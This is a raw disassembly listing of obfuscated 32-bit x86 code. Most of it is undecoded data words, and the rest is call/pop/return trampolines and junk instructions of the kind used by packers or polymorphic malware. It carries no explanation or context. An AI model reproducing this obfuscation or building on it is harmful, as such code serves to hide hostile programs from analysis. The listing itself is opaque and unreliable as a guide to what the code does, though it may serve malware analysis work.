		dd 399D2907h, 8307E924h, 0E922B1BDh, 840F0107h,	4B7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 92C35646h
		dd 723DBB51h, 8E960F1h,	41000000h, 3684110Ch, 66D50029h
		dd 50D3D381h, 0F88B6661h, 22B1BD83h, 0F0307E9h,	43C86h
		dd 32BF6600h, 8870FE2h,	51000000h, 0B768CF81h, 605B523Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B0C35141h
		dd 9AEA8A67h, 0E8B6B379h, 9, 3B2CDE40h,	31958699h, 619D8960h
		dd 5F07E930h, 0E9D98C66h, 0Dh, 0FA8EC9E1h, 2FFBA440h, 0AE71E3C5h
		dd 4E1807Eh, 0C90ADC8Ah, 17E840Fh, 0B5890000h, 7E91661h
		dd 0C55858Bh, 9D0B07E9h, 7E91B19h, 1CE98533h, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0F49CA6C3h, 38C0Fh, 0BF0F0000h, 0D8B70FF8h, 0FB8B6650h
		dd 0E9240489h, 0Ah, 0FFD1AC5Bh,	21D3A6EBh, 6A83BFh, 81BD8Bh
		dd 4E807E9h, 0FF000000h, 0E8001F03h, 0Eh, 0C4165A41h, 0CC5F8E54h
		dd 0BF2B9308h, 0FE95AADh, 26000000h, 3F5E839Eh,	0E9A13368h
		dd 8AB8C973h, 505F50C5h, 0FEBB5250h, 0F44D180h,	800F31h
		dd 5A000000h, 24448B58h, 0C00EBF04h, 8B153Eh, 7E8h, 8DCECA00h
		dd 0AD062F26h, 5BDE8B50h, 2444895Bh, 58D88A04h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1AC35343h, 0EBEE2F9Eh
		dd 0EF5BD89h, 5E907E9h,	70000000h, 93A498BFh, 2D995FFh
		dd 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 35BEACC3h, 16E98A84h, 12C58D01h, 0BF6607E9h
		dd 8589D917h, 7ECD785h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 15C35545h, 66F5D617h,	918D312Eh, 0E907E920h
		dd 1E8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0CC35343h, 0E7C6F35Ah, 7B1EEC61h, 0D77D858Bh, 6A07ECh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 9D8B64C3h, 7E91BB9h,	1800C7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1A4352C3h
		dd 8E9F989h, 0EB000000h, 0C65A11EAh, 8B5F61B8h,	0EC8A60D9h
		dd 3840Fh, 0BF0F0000h, 0B58B61DAh, 7ECD781h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 7FC35646h, 6651B3E3h
		dd 8B5FD98Bh, 0E9185985h, 689F507h, 98A0Fh, 870F0000h
		dd 3, 8BD9BF0Fh, 0E90C5585h, 0B19D8B07h, 5007E92Eh, 0CE9h
		dd 0BC11F400h, 6864C8FDh, 0B20230FEh, 46895F77h, 0A19D3104h
		dd 5007E923h, 3489DE8Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 947905FFh, 1FB37044h
		dd 0D77DB5FFh, 8B6607ECh, 9C9C68FBh, 34815837h,	289F6324h
		dd 14E958h, 47A50000h, 47DE7DD4h, 541A94C7h, 0CFE29CF4h
		dd 40177FC4h, 858D8EDBh, 7ECD785h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0F6C35646h,	1ABFE2ACh, 6675BA8Dh
		dd 9D03F98Bh, 7E908E1h,	60525050h, 1F01BA66h, 8D0Fh, 0F610000h
		dd 0DE931h, 7DA80000h, 0F3C1F14Ah, 44EEBEF7h, 5A1ECB32h
		dd 24048958h, 0AE8h, 0B9D2D800h, 4E6AD53h, 8174CE53h, 0D2E8C5F7h
		dd 95FF5F2Ch, 7E902D9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0BDC35747h, 0FFCB8166h, 0A4EF80A0h, 6D9D2361h
		dd 0C707E92Eh, 0E922B185h, 307h, 85BD8300h, 7ECD7h, 6F840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0F897D0C3h, 0E87D07B3h, 0Bh, 20CE2733h, 4D2C5FCh
		dd 0E961E00Fh, 7, 1298BDE7h, 5F3F4923h,	1AE58D89h, 41E907E9h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 5A5BC353h, 0BACFD848h,	8B6662BFh
		dd 0C3050FBh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 6AFAB70Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 8AB2C353h, 92777E77h
		dd 28E679C7h, 263DBD01h, 0BD8307E9h, 7E922B1h, 62850F03h
		dd 0E9000004h, 14h, 0D4C9D748h,	0C737484Fh, 73231C84h
		dd 2059446Bh, 0E932E291h, 0D785BD83h, 0F0007ECh, 43C84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 54BB6279h, 67EC9877h, 0FE8AE3C6h, 0EE8h
		dd 90BE6100h, 79425039h, 5CF1DFCBh, 231A5826h, 0E919A99Dh
		dd 9D095B07h, 7E91EE9h,	0D785B5FFh, 95FF07ECh, 7E91349h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h
		dd 8BBB54DFh, 0ECD779B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0AFFE015Ch
		dd 0B98D293Fh, 0C707E90Eh, 1000106h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 6096BAD8h
		dd 58565250h, 37B1310Fh, 0F08B585Ah, 0BE95061h,	0E0000000h
		dd 0DD91559Eh, 0C310915Eh, 0BB961B01h, 555E8599h, 99D8B60h
		dd 0F507E916h, 85B5FF61h, 0E907ECD7h, 0Eh, 919B619Ch, 55FFBBABh
		dd 0E169E1F8h, 95FFECA8h, 7E91AB1h, 79B58BF8h, 6A07ECD7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B04C350h, 0E9244985h, 2620BF07h,	868964F1h
		dd 0C4h, 320D958Bh, 6A07E9h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 6A0D35C3h, 6684D6D4h
		dd 835C04BBh, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 226970C3h, 64EB8166h, 205089ACh
		dd 0ECA1858Dh, 6A07ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8B6012C3h, 0E91D29B5h, 6E907h, 24310000h
		dd 30D3876Bh, 0B8868961h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BC6DC352h
		dd 8985E439h, 0E92615B5h, 0D8B70F07h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5B9946C3h, 0C91B1700h, 858930F0h, 7E908E1h, 0D785B5FFh
		dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0CD444FC3h, 91B50B4Dh, 6E9h, 0C0AD5D00h
		dd 0FF9A42E3h, 0E902CD95h, 48F0F07h, 66000000h,	0F6002BFh
		dd 48Ch, 5B515700h, 0B750965Bh,	9D019690h, 7E9092Dh, 0D785B5FFh
		dd 6A07ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 80C20BC3h, 0A9D3EE87h, 8D893A14h,	7E92E4Dh
		dd 2D95FFFCh, 6A07E930h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0B03DC356h,	1EC9BD83h
		dd 0F0007E9h, 4484h, 8E0F6000h,	4
		dd 7E1EBB66h, 6800Fh, 95890000h, 7E92971h, 12E85061h, 0FB000000h
		dd 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h, 8B6653A6h
		dd 895F5BDAh, 830F2434h, 5, 0B2F78166h,	85B5FF8Dh, 6A07ECD7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0CC30C356h, 7FEE3B8Bh, 0BFD11511h, 4D2A125Ch
		dd 0EE19589h, 95FF07E9h, 7E91F9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0F2C35343h,	85B5FFB4h, 6A07ECD7h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 18DC351h,	0E9210595h, 0DDBD3307h,	0FF07E90Fh
		dd 0E9013995h, 0BE907h,	0E1D30000h, 2EE53CF2h, 9FCFE33Bh
		dd 0CDBD837Ch, 207E929h, 33840Fh, 81660000h, 8BD07BD7h
		dd 0E9087585h, 13E907h,	3990000h, 73BA1B92h, 8DC33C50h
		dd 8F06F149h, 7B66E803h, 0C683h, 0E58D8960h, 6607E917h
		dd 59A4EE81h, 0AD85C761h, 7E924h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0BB11C357h, 4DA6BDFDh, 60F98B66h, 1D299D8Bh,	8D8907E9h
		dd 7E91BFDh, 0F232E961h, 8BF8FFFFh, 0C59D8BC1h,	6007E908h
		dd 0E3D8D89h, 61FC07E9h, 861858Dh, 6A07E9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A75A28C3h
		dd 88602FCh, 8A0F509Dh,	13h, 6E95250h, 9000000h, 499ADA14h
		dd 60310F00h, 89585A61h, 890F2404h, 6, 0A8F7F781h, 6A7ABEh
		dd 6A006AFCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0D843C355h, 8B0824C0h,	0E90935BDh
		dd 2E858D07h, 6A07EE30h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 688CC355h, 68E0FF6h
		dd 8B000000h, 0E908F5BDh, 5C08307h, 6850Fh, 0BD890000h
		dd 7E91AC5h, 0BF665090h, 505F0A3Ah, 0DE9h, 0AA478B00h
		dd 0AB5AD43Eh, 66E6DF4Ah, 6A903B99h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8036C357h
		dd 4725C1EBh, 0F140E8BBh, 0CD85891Ah, 6A07E90Dh, 29006A00h
		dd 0E930699Dh, 0B995FF07h, 0B707E90Fh, 2C8D8D90h, 6A07ECD7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0A89DC357h, 0EE998h, 41020000h, 0F13D88CDh
		dd 8B4198D2h, 4CA2581Eh, 0BD8BD1FFh, 7E90155h, 0FE9h, 3C356600h
		dd 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 1B69BD83h, 0F0107E9h
		dd 9785h, 4995BF00h, 0BD8B68A0h, 7E91385h, 6A026Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0C812C7C3h, 0FCE6F253h, 0BF66FA8Bh, 0BB50F55Fh, 5E11EABEh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0B754C353h, 85CA5300h,	0D56DCBB7h
		dd 0D3FF9BBBh, 0CD95FF07h, 6A07E902h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 689AC353h
		dd 0B2ADF81h, 0CF8138AFh, 30812B66h, 0DF1E9h, 0E800h, 815D0000h
		dd 0EE3038EDh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 99B52929h, 8D07E91Fh
		dd 0ECB40685h, 9D9D3307h, 5007E922h, 53565250h,	310F5F5Fh
		dd 4187BF66h, 489585Ah,	53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0ED632F89h, 81983F4Eh
		dd 466E58C3h, 0F535319h, 8Dh, 645B5F00h, 35FFh,	64F50000h
		dd 2589h, 9D8B0000h, 7E92541h, 0F9D85FFh, 6A07E9h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B0FFAC3h, 6, 16E19531h, 0FF6A07E9h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0CCC35646h, 0FE96022h
		dd 78000000h, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 0FF619AAFh
		dd 0E91A89B5h, 0D8BF0F07h, 233D95FFh, 3DE907E9h, 89000001h
		dd 0E90DED85h, 6600B007h, 70E6FE8Bh, 8E9h, 0ED646B00h
		dd 4B1FCB39h, 8971E444h, 0E902A9BDh, 0F613C07h,	11383h
		dd 9E900h, 0C1180000h, 454407D4h, 0F023F78h, 0B89h, 58B0F00h
		dd 66000000h, 0D70BDF81h, 66C8B60Fh, 0BAF393BFh, 6, 15799D89h
		dd 0C18B07E9h, 1899D8Bh, 0E8C107E9h, 859D8B04h,	8007E934h
		dd 0F7668FD3h, 759D89E2h, 2B07E90Ch, 6870FC8h, 1000000h
		dd 0E9088195h, 0E9D18B07h, 0Ah,	9CBF54C3h, 4DAD58DFh, 0A1E91CEBh
		dd 89000000h, 0E9208585h, 50858B07h, 8B47554Ch,	0E908E19Dh
		dd 7C08307h, 15E5BD8Bh,	0C08307E9h, 11E900h, 0CCB50000h
		dd 27CF5B1Eh, 0EC42F5EAh, 74D173F1h, 3BF78B08h,	33830FD0h
		dd 0E8000000h, 14h, 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh
		dd 0C0335989h, 68B0Fh, 0BD8B0000h, 7E90BE9h, 3AE95Fh, 8B520000h
		dd 0E916419Dh, 8D8B5F07h, 0FFFFFFFFh, 8197BB66h, 0F01E183h
		dd 1F84h, 0E59D8B00h, 8307E919h, 0FFFFFFA5h, 89F9FEFFh
		dd 554C5095h, 899D8B47h, 0E907E92Bh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7EDAC5Eh]
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	[ebp+7E91841h],	edi
		jmp	loc_5D7061
; ---------------------------------------------------------------------------
		push	es
		std
		pop	edx
		pop	edx
		mov	cl, 68h
		movsd
		mov	edx, 51DB39DDh
		retn	0EAFEh
; ---------------------------------------------------------------------------
		dd 8486D6B6h
; ---------------------------------------------------------------------------
		lodsd


loc_5D7061:				; CODE XREF: sdfs____:005D7048j
		mov	ecx, 0F23h
		push	0
		push	eax
		call	sub_5D7071
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7071	proc near		; CODE XREF: sdfs____:005D7069p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5D7071	endp

; ---------------------------------------------------------------------------
		mov	ah, dl
		cmp	al, 67h
		xchg	eax, esi
		fnstsw	word ptr [ebp+2Dh]
		scasb
		and	ecx, 0FFFFFFFCh
		call	sub_5D7099
		push	ebx
		lodsb
		test	eax, 0E25C0D3Fh

; =============== S U B	R O U T	I N E =======================================



sub_5D7099	proc near		; CODE XREF: sdfs____:005D708Dp
		mov	[ebp+7E92AC9h],	esi
		pop	edi
		cld
		push	0
		push	ebx
		call	sub_5D70AC
		and	[ebx-3Dh], bl
sub_5D7099	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D70AC	proc near		; CODE XREF: sub_5D7099+Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D70AC	endp

; ---------------------------------------------------------------------------
		mov	cl, 2Ah
		test	eax, 995E555Dh
		add	dword ptr [ebx-80h], 0FFFFFFCBh
		cwde
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D70D8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D70D8	proc near		; CODE XREF: sdfs____:005D70D0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5D70D8	endp

; ---------------------------------------------------------------------------
		dd 0BBE0E91Ch, 57F2EAD2h, 3219BD29h, 0BA5B07E9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5D7107
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7107	proc near		; CODE XREF: sdfs____:005D70FFp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D7107	endp

; ---------------------------------------------------------------------------
		db 12h
		dd 0B6A0A626h, 0FB9A9C0Ch, 0C233AD75h, 0D003E8D1h, 7504E983h
		dd 9D89F5F4h, 7E92DD5h,	0B819D8Bh, 880D07E9h, 31000000h
		dd 0E917ED85h, 0D958B07h, 6A07E932h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 43A9C356h
		dd 280FBCFBh, 8B150E88h, 0E922E58Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 42F1C350h
		dd 0E9EE9D90h, 0AFB2EA12h, 6AFB8Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 6FE686C3h
		dd 6EF0E75Fh, 150D9D8Bh, 0BD8307E9h, 7E91C2Dh, 23840F00h
		dd 8B000000h, 0E90711BDh, 0B807h, 95010000h, 7E93591h
		dd 4D5A8D8Dh, 0BD8B07E9h, 7E90235h, 0BF66E1FFh,	0BD83616Bh
		dd 7E922B1h, 0E1840F00h, 80000004h, 0BD8374F3h,	7E922B1h
		dd 0EC840F01h, 52000004h, 7425C381h, 835F7A6Fh,	0E922B1BDh
		dd 860F0307h, 4A1h, 10E9h, 60092500h, 2A2811C8h, 2926DF8Ah
		dd 761405D0h, 6A6021h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F880BDC3h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0CB17C357h, 75ADB00Dh, 23C57A9Ah, 0E919B19Dh, 4E18007h
		dd 99D8D89h, 0C90A07E9h, 192840Fh, 890F0000h, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+7E90C55h]
		push	0
		push	eax
		call	sub_5D72C1
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D72C1	proc near		; CODE XREF: sdfs____:005D72B9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5D72C1	endp

; ---------------------------------------------------------------------------
		pop	ebx
		mov	eax, ds:0DFBF0F81h
		xor	eax, [ebp+7E91CE9h]
		push	0
		push	ebx
		call	sub_5D72E8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D72E8	proc near		; CODE XREF: sdfs____:005D72E0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D72E8	endp

; ---------------------------------------------------------------------------
		dd 1D2181A7h, 81516F64h, 46A9E4DBh, 0E8505B4Dh,	0Bh, 117C2D4Bh
		dd 0C7E00554h, 0E90F6997h, 6, 0EE3D7FEAh, 895F1C49h, 6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 96B57EC3h, 0A82E8053h, 6A49ACF3h, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0F96DA781h
		dd 29D1F781h, 4E80957h,	0FF000000h, 0E8001F03h,	0Fh, 0B6D9700Ah
		dd 803861FBh, 6774E65Dh, 0E88589DEh, 14h, 0B1A86CDDh, 0BE761B4Eh
		dd 8DB4ADFh, 8909DC58h,	0E468BA8Eh, 310F5250h, 5B5F585Ah
		dd 8B525050h, 52310FDEh, 5BF98B66h, 448B585Ah, 0A4B30424h
		dd 0F8BB008Bh, 89763DD2h, 58042444h, 0FFD98B66h, 0E902D995h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 31B9E0B7h, 0E919099Dh, 85858907h, 6A07ECD7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 17A1C355h, 520D2D82h, 42E919AEh, 0E9000002h
		dd 0Ch,	29C187F9h, 71207969h, 96E8136Dh, 0D77D858Bh, 0BD8B07ECh
		dd 7E91B75h, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 1AE8AC3h, 0BF66FC58h
		dd 0B58B14EEh, 7ECD781h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 70C35343h, 6FF1D0F5h,	232BD3BBh, 59858B7Eh
		dd 8107E918h, 112000D7h, 699D0328h, 8907E902h, 0ADBD2906h
		dd 8B07E92Ah, 0E90C5585h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 589D8227h
		dd 890F715Bh, 18h, 13E9h, 0F927B400h, 0A9FD0FB7h, 0CFE07DEEh
		dd 8E1FE852h, 0B6B44FF0h, 97CE8160h, 0F526AF9h,	689h, 840F00h
		dd 61000000h, 81044689h, 7994C3EFh, 0AE85016h, 70000000h
		dd 39F28C3Ah, 3AA8EF82h, 50525094h, 5A310F52h, 5A310F58h
		dd 34895F58h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0E3FA831Ah, 0B5FFE43Ch, 7ECD77Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DCC35747h
		dd 1C16A20Ah, 55302755h, 8BF88B93h, 0E912819Dh,	4E807h
		dd 3FF0000h, 5660001Fh,	0AF2B90BEh, 800F5961h, 5, 17432EBEh
		dd 0E950615Dh, 0Fh, 0E3BD284Ah,	38A83DE9h, 355F8D31h, 8BAB166Bh
		dd 0BB042444h, 70D96919h, 8B66008Bh, 244489DAh,	5E904h
		dd 0BFB30000h, 58E88FE5h, 0D68B60F8h, 13E8h, 0CA04EF00h
		dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8559637Bh, 615AF78Ah
		dd 0D785858Dh, 0BF0F07ECh, 0C0BB90D8h, 5017E7F4h, 90F98B66h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DEC35040h
		dd 908B1336h, 95FF34ACh, 7E902D9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 50C35545h, 9D19D2F8h, 0F4FBFFDh
		dd 0C81h, 68B0F00h, 89000000h, 0E90E0D8Dh, 6A6107h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 66BCCDC3h, 490FE381h, 22B185C7h, 307E9h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 95894DC3h, 7E92B41h,	0D785BD83h, 0F0007ECh, 1084h, 499D8B00h
		dd 0E907E907h, 20h, 6FF38166h, 0C305044h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 48B0Fh, 0BF660000h, 6A1BDBh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B5E9AC3h, 0E93221BDh, 0B1BD8307h, 307E922h,	450850Fh
		dd 0BD8B0000h, 7E92999h, 0D785BD83h, 0F0007ECh,	43D84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 7FCE0C48h, 0F98B6631h, 0D785B5FFh, 9E807ECh
		dd 9D000000h, 0C571088Ah, 5101D935h, 4995FF5Fh,	6A07E913h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 50CFC356h, 8B8CFD18h, 0ECD779B5h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 64EC2771h, 0C7D3329Ch, 1000106h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BB669642h
		dd 57504A5Eh, 4870Fh, 0BF660000h, 965BACB6h, 11E8h, 0DF1F7F00h
		dd 79D5EFE5h, 935D4744h, 0A86F792Eh, 880FC2BAh,	0
; ---------------------------------------------------------------------------
		pop	edi
		push	dword ptr [ebp+7ECD785h]
		push	0
		push	edi
		call	sub_5D7862
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7862	proc near		; CODE XREF: sdfs____:005D785Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D7862	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+7E91AB1h]
		push	0
		push	esi
		call	sub_5D7885
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7885	proc near		; CODE XREF: sdfs____:005D787Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5D7885	endp

; ---------------------------------------------------------------------------
		db 0F0h, 18h, 9Dh
		dd 96CABFE6h, 0B58B2688h, 7ECD779h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 3CC35343h, 0D6BB669Eh, 49858B20h
		dd 6A07E924h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0C144C357h, 286A6948h,	0D772FDDh
		dd 1C71BD8Bh, 295107E9h, 0E931359Dh, 86895F07h,	0C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 4BC35646h, 6E6AFF4Ah
		dd 87CF3B8Ah, 0DF8B6647h, 320D958Bh, 950107E9h,	7E90E3Dh
		dd 6A04C283h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0FFC4C356h, 0F838E924h, 1DB2E0EAh
		dd 96E0BB66h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 4697C356h, 75B5296Ch
		dd 8B07E91Bh, 0E92DCD9Dh, 0A1858D07h, 6A07ECECh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 8B55C353h, 8934E562h, 0B886h, 0B59D0B00h, 6A07E915h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A93D706Eh, 85B5FF2Eh, 6A07ECD7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B5BC356h, 0FE8B66FAh, 2CD95FFh, 6A07E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0AC3129C3h
		dd 94EC37E7h, 0E85396E9h, 6, 0EE6A7FA1h, 12E9F9B8h, 0E0000000h
		dd 0B1EBD02Fh, 4CCE5B2Fh, 0D6FC4BFh, 10BDAF8Ch,	505F5FBFh
		dd 0F96DA8Bh, 683h, 0A5BD8900h,	0FF07E916h, 0ECD785B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0F3804CE6h, 2D95FF23h, 6A07E930h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 837DC357h, 0E91EC9BDh, 840F0007h, 24h, 2B098529h, 0B75007E9h
		dd 243489A1h, 4820Fh, 0BB660000h, 9E96A7Ch, 40000000h
		dd 6A51938Eh, 0C9DD8AA0h, 0D785B5FFh, 6A07ECh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
